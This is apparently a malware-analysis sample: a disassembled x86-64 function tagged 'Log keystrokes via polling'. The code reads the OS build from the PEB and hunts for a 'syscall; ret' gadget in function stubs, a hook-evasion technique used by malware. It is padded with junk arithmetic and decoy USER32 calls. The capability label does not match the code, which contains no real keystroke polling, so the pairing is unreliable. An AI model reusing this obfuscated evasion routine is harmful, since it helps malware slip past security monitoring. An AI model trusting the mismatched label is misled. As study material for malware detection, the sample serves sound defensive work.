Function at 0x2f8aac267
Capabilities:
Log keystrokes via polling

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x60
mov qword [rbp + 0x10], rcx
mov eax, dword [0x2f8ab4128]
add eax, 0x45
mov byte [0x2f8ab4121], al
movzx eax, byte [0x2f8ab412c]
movzx eax, al
add eax, 0x52f7b836
mov dword [0x2f8ab4124], eax
mov eax, dword [0x2f8ab4134]
and eax, 0x4d
mov byte [0x2f8ab4121], al
movzx eax, byte [0x2f8ab412c]
movzx eax, al
or eax, 0x45006a21
mov dword [0x2f8ab4128], eax
mov eax, dword [0x2f8ab4128]
and eax, 0xffffff88
mov byte [0x2f8ab412c], al
movzx eax, word [0x2f8ab4138]
movzx eax, ax
or eax, 0xd8e9a2ed
mov dword [0x2f8ab4130], eax
mov dword [rbp - 0xc], 0x200
movzx eax, byte [0x2f8ab4120]
xor eax, 0x74
mov byte [0x2f8ab412c], al
movzx eax, byte [0x2f8ab4121]
add eax, 0x3e
mov byte [0x2f8ab4120], al
mov eax, dword [0x2f8ab4130]
sub eax, 0x61
mov byte [0x2f8ab412c], al
mov ecx, 0xd8
mov rax, qword [sym.imp.USER32.dll_GetDC]
call rax
mov eax, dword [0x2f8ab4130]
or eax, 0x481971f5
mov dword [0x2f8ab4124], eax
mov eax, dword [0x2f8ab4130]
or eax, 0xf60b9750
mov dword [0x2f8ab4124], eax
mov eax, dword [0x2f8ab4128]
xor eax, 0xfd549191
mov dword [0x2f8ab4124], eax
mov eax, dword [0x2f8ab4128]
sub eax, 0x2d47a6ca
mov dword [0x2f8ab4128], eax
mov eax, dword [0x2f8ab4130]
sub eax, 0x1dc88893
mov dword [0x2f8ab4130], eax
mov eax, dword [0x2f8ab4134]
xor eax, 0x457b12d9
mov dword [0x2f8ab4130], eax
mov eax, dword [0x2f8ab4124]
imul eax, eax, 0x11377341
mov dword [0x2f8ab4124], eax
movzx eax, word [0x2f8ab4138]
movzx eax, ax
add eax, 0x2562883d
mov dword [0x2f8ab4124], eax
mov eax, dword [0x2f8ab4130]
add eax, 0x3620ef3f
mov dword [0x2f8ab4124], eax
mov eax, dword [0x2f8ab4124]
imul eax, eax, 0x2e3e8d78
mov dword [0x2f8ab4128], eax
mov dword [rbp - 0x2c], 0x60
mov eax, dword [rbp - 0x2c]
mov rax, qword gs:[rax]
mov qword [rbp - 0x38], rax
mov rax, qword [rbp - 0x38]
mov qword [rbp - 0x18], rax
mov eax, dword [0x2f8ab4134]
xor eax, 0xffffffe3
mov byte [0x2f8ab4120], al
movzx eax, byte [0x2f8ab412c]
and eax, 7
mov byte [0x2f8ab4121], al
mov eax, dword [0x2f8ab4124]
sub eax, 0x4f
mov byte [0x2f8ab4120], al
mov rax, qword [rbp - 0x18]
mov eax, dword [rax + 0x120]
mov dword [rbp - 0x1c], eax
movzx eax, word [0x2f8ab4138]
imul ax, ax, 0x8d00
mov word [0x2f8ab4138], ax
movzx eax, byte [0x2f8ab412c]
mov edx, 0xffffffd9
imul eax, edx
mov byte [0x2f8ab412c], al
mov eax, dword [0x2f8ab4130]
add ax, 0x4a4
mov word [0x2f8ab4138], ax
movzx eax, byte [0x2f8ab4121]
add eax, 0x78
mov byte [0x2f8ab4120], al
mov eax, dword [0x2f8ab4134]
sub eax, 1
mov byte [0x2f8ab4120], al
mov dword [rbp - 4], 0
movzx eax, byte [0x2f8ab412c]
movzx eax, al
xor eax, 0x59326d35
mov dword [0x2f8ab4128], eax
movzx eax, byte [0x2f8ab4121]
xor eax, 0x7f
mov byte [0x2f8ab4121], al
mov eax, dword [0x2f8ab4130]
mov edx, eax
mov eax, edx
shl eax, 3
add eax, edx
add eax, eax
mov byte [0x2f8ab4121], al
mov eax, dword [0x2f8ab4128]
or eax, 0xd3d397ff
mov dword [0x2f8ab4128], eax
movzx eax, byte [0x2f8ab4121]
movzx eax, al
imul eax, eax, 0xaf3bb9bd
mov dword [0x2f8ab4124], eax
mov eax, dword [0x2f8ab4124]
xor eax, 0xffffffaa
mov byte [0x2f8ab4121], al
movzx eax, byte [0x2f8ab4121]
xor eax, 0xffffffce
mov byte [0x2f8ab4120], al
mov eax, dword [0x2f8ab4128]
sub ax, 0x66b6
mov word [0x2f8ab4138], ax
cmp dword [rbp - 0x1c], 0x2959
ja 0x2f8aac64e
movzx eax, byte [0x2f8ab4121]
movzx eax, al
imul eax, eax, 0xf31981f2
mov dword [0x2f8ab4134], eax
mov eax, dword [0x2f8ab4128]
and eax, 0x1a9e0d1a
mov dword [0x2f8ab4128], eax
mov eax, dword [0x2f8ab4128]
sub eax, 0x469bfeb7
mov dword [0x2f8ab4130], eax
mov eax, dword [0x2f8ab4128]
mov edx, eax
mov eax, edx
shl edx, 6
sub eax, edx
add eax, eax
mov byte [0x2f8ab4121], al
movzx eax, byte [0x2f8ab4120]
movzx eax, al
xor ax, 0x5d86
mov word [0x2f8ab4138], ax
movzx eax, word [0x2f8ab4138]
sub eax, 0x33
mov byte [0x2f8ab4120], al
mov edx, 0
mov ecx, 0x48
mov rax, qword [sym.imp.USER32.dll_GetIconInfo]
call rax
mov eax, dword [0x2f8ab4124]
add eax, 0x2e2681bc
mov dword [0x2f8ab4128], eax
movzx eax, word [0x2f8ab4138]
and eax, 0xffffffb8
mov byte [0x2f8ab412c], al
movzx eax, byte [0x2f8ab4120]
and eax, 0xffffff94
mov byte [0x2f8ab4121], al
movzx eax, byte [0x2f8ab4120]
movzx eax, al
xor eax, 0x18e9532e
mov dword [0x2f8ab4130], eax
mov eax, dword [0x2f8ab4124]
mov edx, 0xffffffb6
imul eax, edx
mov byte [0x2f8ab412c], al
movzx edx, byte [0x2f8ab4121]
mov eax, edx
shl eax, 7
sub eax, edx
mov byte [0x2f8ab4121], al
movzx eax, byte [0x2f8ab4121]
movzx eax, al
sub ax, 0x3851
mov word [0x2f8ab4138], ax
mov eax, dword [0x2f8ab4124]
or eax, 0x35fe85b9
mov dword [0x2f8ab4130], eax
mov dword [rbp - 4], 8
jmp 0x2f8aac712
mov eax, dword [0x2f8ab4124]
or eax, 0xb
mov byte [0x2f8ab412c], al
mov eax, dword [0x2f8ab4134]
add ax, 0x74c6
mov word [0x2f8ab4138], ax
movzx eax, byte [0x2f8ab412c]
mov edx, 0xffffff9d
imul eax, edx
mov byte [0x2f8ab412c], al
mov eax, dword [0x2f8ab4130]
add eax, 0x66
mov byte [0x2f8ab4120], al
movzx eax, word [0x2f8ab4138]
movzx eax, ax
and eax, 0x9bdeb8ac
mov dword [0x2f8ab4124], eax
movzx eax, byte [0x2f8ab4121]
or eax, 0xa
mov byte [0x2f8ab4121], al
mov eax, dword [0x2f8ab4124]
add ax, 0x5587
mov word [0x2f8ab4138], ax
movzx eax, word [0x2f8ab4138]
or eax, 0xffffff98
mov byte [0x2f8ab4120], al
mov eax, dword [0x2f8ab4130]
imul eax, eax, 0xd7023775
mov dword [0x2f8ab4128], eax
mov eax, dword [0x2f8ab4130]
or ax, 0x73f7
mov word [0x2f8ab4138], ax
movzx eax, byte [0x2f8ab4120]
sub eax, 0x62
mov byte [0x2f8ab4120], al
mov dword [rbp - 4], 0x12
mov word [rbp - 0x3b], 0x50f
mov byte [rbp - 0x39], 0xc3
mov edx, dword [rbp - 4]
mov rax, qword [rbp + 0x10]
add rax, rdx
mov qword [rbp - 0x28], rax
mov eax, dword [0x2f8ab4128]
imul eax, eax, 0x7a490dbd
mov dword [0x2f8ab4134], eax
movzx eax, byte [0x2f8ab412c]
movzx eax, al
sub eax, 0x3192929
mov dword [0x2f8ab4124], eax
movzx eax, word [0x2f8ab4138]
movzx eax, ax
xor eax, 0xbcb930c5
mov dword [0x2f8ab4124], eax
movzx eax, byte [0x2f8ab4121]
movzx eax, al
add eax, 0x9d1a90c
mov dword [0x2f8ab4124], eax
movzx eax, word [0x2f8ab4138]
movzx eax, ax
xor eax, 0x1eb3490f
mov dword [0x2f8ab4134], eax
mov rdx, qword [rbp - 0x28]
lea rax, [rbp - 0x3b]
mov r8d, 3
mov rcx, rax
call fcn.2f8aa6d90
test eax, eax
sete al
test al, al
je 0x2f8aac82d
movzx eax, byte [0x2f8ab4120]
movzx eax, al
or eax, 0x38c41c2e
mov dword [0x2f8ab4130], eax
movzx eax, word [0x2f8ab4138]
movzx eax, ax
sub eax, 0x735b488d
mov dword [0x2f8ab4124], eax
movzx eax, byte [0x2f8ab4120]
or eax, 0x7f
mov byte [0x2f8ab4120], al
movzx eax, byte [0x2f8ab4120]
movzx eax, al
imul eax, eax, 0x53545b10
mov dword [0x2f8ab4134], eax
movzx eax, byte [0x2f8ab412c]
movzx eax, al
xor eax, 0x9f9e3622
mov dword [0x2f8ab4130], eax
movzx eax, word [0x2f8ab4138]
sub eax, 0x57
mov byte [0x2f8ab4121], al
mov rax, qword [rbp - 0x28]
jmp 0x2f8aacc52
mov edx, 0
mov ecx, 0x4e
mov rax, qword [sym.imp.USER32.dll_GetSystemMenu]
call rax
mov eax, dword [0x2f8ab4130]
and eax, 0xffffffe5
mov byte [0x2f8ab4121], al
movzx eax, byte [0x2f8ab4121]
xor eax, 0xffffffd1
mov byte [0x2f8ab4120], al
movzx eax, word [0x2f8ab4138]
or eax, 0xffffffd0
mov byte [0x2f8ab412c], al
mov eax, dword [0x2f8ab4130]
imul eax, eax, 0xcbcf441c
mov dword [0x2f8ab4134], eax
movzx eax, byte [0x2f8ab4120]
and eax, 3
mov byte [0x2f8ab4121], al
mov dword [rbp - 8], 1
jmp 0x2f8aacc41
mov eax, dword [0x2f8ab4128]
imul ax, ax, 0x4f69
mov word [0x2f8ab4138], ax
movzx eax, byte [0x2f8ab4120]
or eax, 0x2f
mov byte [0x2f8ab412c], al
mov ecx, 0xe8
mov rax, qword [sym.imp.USER32.dll_IsWindow]
call rax
mov eax, dword [0x2f8ab4124]
or eax, 0x3ab691f
mov dword [0x2f8ab4130], eax
mov edx, dword [rbp - 4]
mov rax, qword [rbp + 0x10]
add rdx, rax
mov eax, dword [rbp - 8]
shl eax, 5
mov eax, eax
add rax, rdx
mov qword [rbp - 0x28], rax
movzx eax, byte [0x2f8ab4121]
movzx eax, al
sub eax, 0x18a9a9fa
mov dword [0x2f8ab4134], eax
movzx eax, byte [0x2f8ab4121]
movzx eax, al
or ax, 0x62ce
mov word [0x2f8ab4138], ax
movzx eax, word [0x2f8ab4138]
movzx eax, ax
xor eax, 0xccba75f
mov dword [0x2f8ab4128], eax
mov eax, dword [0x2f8ab4130]
add eax, 0x29
mov byte [0x2f8ab4121], al
movzx eax, byte [0x2f8ab4121]
movzx eax, al
imul eax, eax, 0x246e26f7
mov dword [0x2f8ab4124], eax
mov rdx, qword [rbp - 0x28]
lea rax, [rbp - 0x3b]
mov r8d, 3
mov rcx, rax
call fcn.2f8aa6d90
test eax, eax
sete al
test al, al
je 0x2f8aaca94
mov eax, dword [0x2f8ab4134]
sub ax, 0x46d6
mov word [0x2f8ab4138], ax
movzx eax, byte [0x2f8ab412c]
movzx eax, al
or eax, 0x26f5e85a
mov dword [0x2f8ab4128], eax
mov eax, dword [0x2f8ab4134]
xor eax, 0x19f93086
mov dword [0x2f8ab4128], eax
mov eax, dword [0x2f8ab4130]
or eax, 0x74
mov byte [0x2f8ab4121], al
mov ecx, 0x2c
mov rax, qword [sym.imp.USER32.dll_GetDC]
call rax
movzx eax, word [0x2f8ab4138]
movzx eax, ax
xor eax, 0x4188f83b
mov dword [0x2f8ab4124], eax
mov eax, dword [0x2f8ab4130]
and ax, 0xd4ed
mov word [0x2f8ab4138], ax
movzx eax, byte [0x2f8ab412c]
movzx eax, al
and eax, 0x65a21692
mov dword [0x2f8ab4124], eax
mov eax, dword [0x2f8ab4124]
mov edx, 0xffffffc7
imul eax, edx
mov byte [0x2f8ab412c], al
movzx eax, byte [0x2f8ab4121]
movzx eax, al
add eax, 0x39c9e9d8
mov dword [0x2f8ab4128], eax
mov eax, dword [0x2f8ab4128]
sub eax, 0x28c9b428
mov dword [0x2f8ab4134], eax
mov ecx, 0
mov rax, qword [sym.imp.USER32.dll_GetKeyboardState]
call rax
movzx eax, byte [0x2f8ab412c]
movzx eax, al
or ax, 0x2469
mov word [0x2f8ab4138], ax
mov eax, dword [0x2f8ab4134]
imul eax, eax, 0x2fb2c3db
mov dword [0x2f8ab4130], eax
mov eax, dword [0x2f8ab4134]
or eax, 0xffffffd7
mov byte [0x2f8ab412c], al
mov rax, qword [rbp - 0x28]
jmp 0x2f8aacc52
mov edx, dword [rbp - 4]
mov rax, qword [rbp + 0x10]
add rdx, rax
mov eax, dword [rbp - 8]
shl eax, 5
mov ecx, eax
mov rax, rdx
sub rax, rcx
mov qword [rbp - 0x28], rax
mov eax, dword [0x2f8ab4124]
xor eax, 0xffffff9a
mov byte [0x2f8ab412c], al
mov eax, dword [0x2f8ab4128]
mov edx, 0xffffffa9
imul eax, edx
mov byte [0x2f8ab4120], al
mov eax, dword [0x2f8ab4124]
or ax, 0x2271
mov word [0x2f8ab4138], ax
mov eax, dword [0x2f8ab4134]
add ax, 0x2a35
mov word [0x2f8ab4138], ax
mov eax, dword [0x2f8ab4124]
or eax, 0x3e7d9f78
mov dword [0x2f8ab4124], eax
movzx eax, byte [0x2f8ab412c]
and eax, 0x15
mov byte [0x2f8ab412c], al
mov rdx, qword [rbp - 0x28]
lea rax, [rbp - 0x3b]
mov r8d, 3
mov rcx, rax
call fcn.2f8aa6d90
test eax, eax
sete al
test al, al
je 0x2f8aacc3d
movzx eax, word [0x2f8ab4138]
movzx eax, ax
or eax, 0x367f45f2
mov dword [0x2f8ab4130], eax
mov eax, dword [0x2f8ab4130]
sub ax, 0x19f
mov word [0x2f8ab4138], ax
movzx eax, byte [0x2f8ab4121]
or eax, 0xffffff93
mov byte [0x2f8ab412c], al
movzx eax, byte [0x2f8ab412c]
movzx eax, al
xor eax, 0xadee4224
mov dword [0x2f8ab4128], eax
mov eax, dword [0x2f8ab4130]
or eax, 0xb45d502e
mov dword [0x2f8ab4128], eax
mov eax, dword [0x2f8ab4128]
add eax, 0x13122ee6
mov dword [0x2f8ab4130], eax
movzx eax, byte [0x2f8ab4121]
movzx eax, al
add eax, 0x4f15973d
mov dword [0x2f8ab4134], eax
mov eax, dword [0x2f8ab4134]
and eax, 0x43be61d1
mov dword [0x2f8ab4124], eax
movzx eax, byte [0x2f8ab4120]
movzx eax, al
imul eax, eax, 0x515c851c
mov dword [0x2f8ab4134], eax
movzx eax, byte [0x2f8ab4121]
movzx eax, al
sub ax, 0x42e0
mov word [0x2f8ab4138], ax
mov eax, dword [0x2f8ab4128]
and ax, 0xdc29
mov word [0x2f8ab4138], ax
mov eax, dword [0x2f8ab4134]
sub eax, 0x50
mov byte [0x2f8ab4121], al
mov eax, dword [0x2f8ab4128]
or eax, 0xeaea05a5
mov dword [0x2f8ab4128], eax
mov eax, dword [0x2f8ab4134]
and eax, 0x6b
mov byte [0x2f8ab4120], al
mov rax, qword [rbp - 0x28]
jmp 0x2f8aacc52
add dword [rbp - 8], 1
mov eax, dword [rbp - 8]
cmp eax, dword [rbp - 0xc]
jb 0x2f8aac89d
mov eax, 0
add rsp, 0x60
pop rbp
ret